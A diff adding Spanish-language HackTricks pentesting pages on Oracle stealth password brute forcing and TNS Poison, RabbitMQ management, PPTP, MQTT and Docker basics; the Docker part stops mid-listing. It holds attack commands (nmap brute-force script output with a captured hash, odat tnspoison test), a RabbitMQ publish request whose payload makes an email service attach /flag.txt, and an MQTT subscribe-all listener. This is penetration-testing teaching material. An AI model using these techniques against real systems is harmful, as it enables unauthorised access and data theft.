||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
# Perímetro externo: Fuerza bruta de contraseña remota y sigilosa
|
||||
|
||||
**Las versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 y 11.2.0.3 son vulnerables** a esta técnica. Para entender la idea detrás de esta vulnerabilidad, es necesario considerar cómo funciona el protocolo de autenticación con la base de datos. Mostraré cómo funciona para la versión 11. La interacción con el servidor procede de la siguiente manera:
|
||||
|
||||
1. El cliente se conecta al servidor y envía el nombre de usuario.
|
||||
2. El servidor genera un identificador de sesión ('AUTH\_SESSKEY') y lo cifra utilizando AES-192. Como clave, el sistema utiliza el hash SHA-1 generado a partir de la contraseña del usuario y la sal ('AUTH\_VFR\_DATA').
|
||||
3. El servidor envía al cliente un identificador de sesión cifrado y una sal.
|
||||
4. El cliente genera la clave cifrando su contraseña y la sal recibida. El cliente utiliza esta clave para descifrar los datos de sesión recibidos del servidor.
|
||||
5. Basándose en el identificador de sesión del servidor descifrado, el cliente genera una nueva clave pública para su uso futuro.
|
||||
|
||||
Ahora, aquí está la parte más interesante: El identificador de sesión 'AUTH\_SESSKEY' enviado por el servidor al cliente tiene una longitud de 48 bytes. De estos, 40 bytes son aleatorios y los últimos 8 son duplicados de '0x08'. El vector de inicialización es 0x00 (nulo).\
|
||||
Sabiendo que los últimos 8 bytes del identificador público siempre consisten en '0x08', podemos realizar un ataque de fuerza bruta a esta contraseña y, además, hacerlo en modo offline, lo que significa una velocidad tremenda, especialmente si se utiliza una GPU. Para llevar a cabo un ataque, es necesario conocer el SID, un inicio de sesión válido (por ejemplo, la cuenta 'SYS' es muy interesante) y, por supuesto, tener la capacidad de conectarse a la base de datos. En este caso, no habrá registros, como 'Intento de inicio de sesión no válido', creados en los registros de auditoría de Oracle.
|
||||
|
||||
Resumiendo:
|
||||
|
||||
1. Utilice Wireshark para **interceptar** el **tráfico inicial** durante la **autorización**. Esto será ayudado por el filtro 'tns'.
|
||||
2. Extraiga los **valores HEX para AUTH\_SESSKEY, AUTH\_VFR\_DATA**.
|
||||
3. Inclúyalos en el [**script PoC**](https://www.exploit-db.com/exploits/22069), que realizará un ataque de diccionario (fuerza bruta).
|
||||
|
||||
## Usando nmap y john
|
||||
```
|
||||
root@kali:~# nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
|
||||
Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-03-02 14:58 EST
|
||||
Nmap scan report for 10.11.21.30
|
||||
PORT STATE SERVICE
|
||||
1521/tcp open oracle
|
||||
| oracle-brute-stealth:
|
||||
| Accounts
|
||||
| SYS:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1
|
||||
| A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 -
|
||||
| Hashed valid or invalid credentials
|
||||
| Statistics
|
||||
|_ Performed 241 guesses in 12 seconds, average tps: 20
|
||||
|
||||
john hashes.txt
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,39 @@
|
|||
# Envenenamiento TNS
|
||||
|
||||
Si te encuentras con una versión más reciente del listener, no hay mucho margen de maniobra excepto el ataque de fuerza bruta. Sin embargo, todas las versiones hasta la versión 12c son vulnerables a un ataque llamado 'TNS Poison'. Aunque la última versión es vulnerable solo en algunas configuraciones especiales. Por ejemplo, una de las formas de solucionar esta vulnerabilidad es desactivando la configuración dinámica del listener, lo cual es imposible cuando se utiliza Oracle DataGuard, PL/SQL Gateway en conexión con APEX y en algunas versiones de SAP. En general, el problema es que, por defecto, el servicio del listener admite la configuración remota y, además, permite hacerlo de forma anónima. Aquí es donde radica el corazón de la vulnerabilidad.
|
||||
|
||||
[![Fig. 1. Vulnerabilidad TNS Poison](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
|
||||
|
||||
Fig. 1. Vulnerabilidad TNS Poison
|
||||
|
||||
Este es un algoritmo de ataque de muestra (ver Fig. 1):
|
||||
|
||||
* Enviar la siguiente consulta TNS: 'CONNECT_DATA = (COMMAND = SERVICE_REGISTER_NSGR))'.
|
||||
* El servidor vulnerable responderá: '(DESCRIPTION = (TMP =))'. Esto es lo que será la respuesta de un servidor parcheado: '(ERROR_STACK = (ERROR = 1194))'.
|
||||
* Generar un paquete de configuración con SID e IP del nuevo listener (para futuros MITM). El número de caracteres en el nombre del SID actual es de fundamental importancia. Debes saberlo, ya que de esto depende un paquete bien formado.
|
||||
* A continuación, enviar todas estas golosinas al listener.
|
||||
* Si todo es correcto, entonces todas las nuevas conexiones serán redirigidas por el listener a través de tu IP controlada.
|
||||
|
||||
Es importante no olvidar habilitar el proxy de consultas (como IP_forwarding en Linux), de lo contrario, en lugar de un ataque MITM ordenado, obtendrás un DoS brusco, porque los nuevos clientes no podrán conectarse a la base de datos. Como resultado, un atacante puede incrustar sus propios comandos dentro de la sesión de otro usuario. **Puedes comprobar si el servidor es vulnerable utilizando el siguiente módulo MSF: 'auxiliary/scanner/oracle/tnspoison_checker'.**
|
||||
|
||||
Toda esta página fue extraída de aquí: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
**Otra forma de probar:**
|
||||
```text
|
||||
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,73 @@
|
|||
# 15672 - Pentesting RabbitMQ Management
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Información básica
|
||||
|
||||
Puedes aprender más sobre RabbitMQ en [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
|
||||
En este puerto puedes encontrar la consola web de gestión de RabbitMQ si el [plugin de gestión](https://www.rabbitmq.com/management.html) está habilitado.\
|
||||
La página principal debería verse así:
|
||||
|
||||
![](<../.gitbook/assets/image (270).png>)
|
||||
|
||||
## Enumeración
|
||||
|
||||
Las credenciales predeterminadas son "_**guest**_":"_**guest**_". Si no funcionan, puedes intentar [**atacar por fuerza bruta el inicio de sesión**](../generic-methodologies-and-resources/brute-force.md#http-post-form).
|
||||
|
||||
Para iniciar manualmente este módulo, debes ejecutar:
|
||||
```
|
||||
rabbitmq-plugins enable rabbitmq_management
|
||||
service rabbitmq-server restart
|
||||
```
|
||||
Una vez que te hayas autenticado correctamente, verás la consola de administración:
|
||||
|
||||
![](<../.gitbook/assets/image (271) (1).png>)
|
||||
|
||||
Además, si tienes credenciales válidas, puede resultarte interesante la información de `http://localhost:15672/api/connections`
|
||||
|
||||
También ten en cuenta que es posible **publicar datos dentro de una cola** utilizando la API de este servicio con una solicitud como:
|
||||
```bash
|
||||
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
|
||||
Host: 172.32.56.72:15672
|
||||
Authorization: Basic dGVzdDp0ZXN0
|
||||
Accept: */*
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
Content-Length: 267
|
||||
|
||||
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
|
||||
```
|
||||
### Shodan
|
||||
|
||||
* `port:15672 http`
|
||||
|
||||
Si estás interesado en una carrera de **hacker** y quieres hackear lo que parece imposible, ¡estamos contratando! (se requiere fluidez en polaco, tanto hablado como escrito).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una empresa de **ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
33
network-services-pentesting/1723-pentesting-pptp.md
Normal file
33
network-services-pentesting/1723-pentesting-pptp.md
Normal file
|
@ -0,0 +1,33 @@
|
|||
## Información Básica
|
||||
|
||||
Comúnmente utilizado para proporcionar acceso remoto a dispositivos móviles, el Protocolo de túnel punto a punto (PPTP) utiliza el puerto TCP 1723 para el intercambio de claves y el protocolo IP 47 (GRE) para cifrar los datos entre pares.
|
||||
|
||||
**Puerto predeterminado**: 1723
|
||||
|
||||
## Enumeración
|
||||
```bash
|
||||
nmap –Pn -sSV -p1723 <IP>
|
||||
```
|
||||
### [Fuerza Bruta](../generic-methodologies-and-resources/brute-force.md#pptp)
|
||||
|
||||
## Vulnerabilidades
|
||||
|
||||
{% embed url="https://www.schneier.com/academic/pptp/" %}
|
||||
|
||||
{% embed url="https://github.com/moxie0/chapcrack" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
105
network-services-pentesting/1883-pentesting-mqtt-mosquitto.md
Normal file
105
network-services-pentesting/1883-pentesting-mqtt-mosquitto.md
Normal file
|
@ -0,0 +1,105 @@
|
|||
## Información Básica
|
||||
|
||||
MQTT significa MQ Telemetry Transport. Es un protocolo de mensajería de publicación/suscripción, **extremadamente simple y ligero**, diseñado para dispositivos limitados y redes de baja velocidad de ancho de banda, alta latencia o poco confiables. Los principios de diseño son minimizar el ancho de banda de la red y los requisitos de recursos del dispositivo, al mismo tiempo que se intenta garantizar la confiabilidad y cierto grado de garantía de entrega. Estos principios también resultan ideales para el mundo emergente de "máquina a máquina" (M2M) o "Internet de las cosas" de dispositivos conectados, y para aplicaciones móviles donde el ancho de banda y la energía de la batería son limitados.
|
||||
|
||||
**Puerto predeterminado:** 1883
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
1883/tcp open mosquitto version 1.4.8 syn-ack
|
||||
```
|
||||
## Inspeccionando el tráfico
|
||||
|
||||
Los brokers MQTT envían un paquete **CONNACK** en **respuesta** a un paquete CONNECT. El **código de retorno 0x00** indica que las credenciales son válidas y el código de retorno **0x05 indica que no lo son. Ejemplo de 0x05:**
|
||||
|
||||
![](<../.gitbook/assets/image (645) (1).png>)
|
||||
|
||||
### [**Brute-Force MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt)
|
||||
|
||||
## Pentesting MQTT
|
||||
|
||||
La **autenticación es totalmente opcional** e incluso si se realiza la autenticación, **el cifrado no se utiliza por defecto** (las credenciales se envían en texto claro). Los ataques MITM aún pueden ser ejecutados para robar contraseñas.
|
||||
|
||||
Para conectarse a un servicio MQTT se puede utilizar: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) y suscribirse a todos los temas haciendo:
|
||||
```
|
||||
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
|
||||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
También puedes utilizar [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscriribe to 'test/topic'
|
||||
```
|
||||
O también puedes **ejecutar este código para intentar conectarte a un servicio MQTT sin autenticación, suscribirte a todos los temas y escucharlos**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
import time
|
||||
import os
|
||||
|
||||
HOST = "127.0.0.1"
|
||||
PORT = 1883
|
||||
|
||||
def on_connect(client, userdata, flags, rc):
|
||||
client.subscribe('#', qos=1)
|
||||
client.subscribe('$SYS/#')
|
||||
|
||||
def on_message(client, userdata, message):
|
||||
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
|
||||
|
||||
def main():
|
||||
client = mqtt.Client()
|
||||
client.on_connect = on_connect
|
||||
client.on_message = on_message
|
||||
client.connect(HOST, PORT)
|
||||
client.loop_start()
|
||||
#time.sleep(10)
|
||||
#client.loop_stop()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Más información
|
||||
|
||||
desde aquí: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### El patrón Publicar/Suscribir <a href="#b667" id="b667"></a>
|
||||
|
||||
El modelo publicar/suscribir está compuesto por:
|
||||
|
||||
* **Editor**: publica un mensaje en uno (o muchos) tema(s) en el broker.
|
||||
* **Suscriptor**: se suscribe a uno (o muchos) tema(s) en el broker y recibe todos los mensajes enviados por el editor.
|
||||
* **Broker**: enruta todos los mensajes de los editores a los suscriptores.
|
||||
* **Tema**: consta de uno o más niveles que están separados por una barra diagonal (por ejemplo, /smartshouse/livingroom/temperature).
|
||||
|
||||
![](https://miro.medium.com/max/1073/1\*sIxvchdgHSqAGebJjFHBAg.png)
|
||||
|
||||
### Formato del paquete <a href="#f15a" id="f15a"></a>
|
||||
|
||||
Cada paquete MQTT contiene una cabecera fija (Figura 02).Figura 02: Cabecera fija
|
||||
|
||||
![](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
El primer campo de la cabecera fija representa el tipo de paquete MQTT. Todos los tipos de paquetes se enumeran en la tabla 01.Tabla 01: Tipos de paquetes MQTT
|
||||
|
||||
![](https://miro.medium.com/max/1469/1\*z0fhdUVzGa0PLikH\_cyBmQ.png)
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**La familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
323
network-services-pentesting/2375-pentesting-docker.md
Normal file
323
network-services-pentesting/2375-pentesting-docker.md
Normal file
|
@ -0,0 +1,323 @@
|
|||
## 2375, 2376 Pentesting Docker
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Conceptos básicos de Docker
|
||||
|
||||
### ¿Qué es?
|
||||
|
||||
La plataforma Docker es la plataforma de contenedores líder en la industria para la innovación continua y de alta velocidad, lo que permite a las organizaciones construir y compartir sin problemas cualquier aplicación, desde las heredadas hasta las que vienen a continuación, y ejecutarlas de forma segura en cualquier lugar.
|
||||
|
||||
### Arquitectura básica de Docker
|
||||
|
||||
Esta información se encuentra [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
|
||||
|
||||
* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **administrar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución, supervisión y redes de contenedores**. **Más información sobre containerd a continuación.**
|
||||
* container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario.
|
||||
* [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer.
|
||||
* [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine.
|
||||
* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución de OCI.
|
||||
|
||||
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
|
||||
|
||||
### Comandos básicos
|
||||
```bash
|
||||
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
|
||||
docker info #Get more infomarion about docker settings
|
||||
docker pull registry:5000/alpine #Download the image
|
||||
docker inspect <containerid> #Get info of the contaienr
|
||||
docker network ls #List network info
|
||||
docker exec -it <containerid> /bin/sh #Get shell inside a container
|
||||
docker commit <cotainerid> registry:5000/name-container #Update container
|
||||
docker export -o alpine.tar <containerid> #Export container as tar file
|
||||
docker save -o ubuntu.tar <image> #Export an image
|
||||
docker ps -a #List running and stopped containers
|
||||
docker stop <containedID> #Stop running container
|
||||
docker rm <containerID> #Remove container ID
|
||||
docker image ls #List images
|
||||
docker rmi <imgeID> #Remove image
|
||||
docker system prune -a
|
||||
#This will remove:
|
||||
# - all stopped containers
|
||||
# - all networks not used by at least one container
|
||||
# - all images without at least one container associated to them
|
||||
# - all build cache
|
||||
```
|
||||
### Containerd
|
||||
|
||||
Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como cualquier otra plataforma de contenedores que quiera **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, cuando se está construyendo un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas netlink en Linux.
|
||||
|
||||
Tenga en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker proporciona**. Por lo tanto, ContainerD no tiene las características de gestión de red de Docker, ni se puede utilizar ContainerD solo para crear enjambres de Docker.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
ctr images list #List images
|
||||
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
|
||||
ctr container list #List containers
|
||||
ctr container info <containerName> #Get container info
|
||||
ctr task start <containerName> #You are given a shell inside of it
|
||||
ctr task list #Get status of containers
|
||||
ctr tasks attach <containerName> #Get shell in running container
|
||||
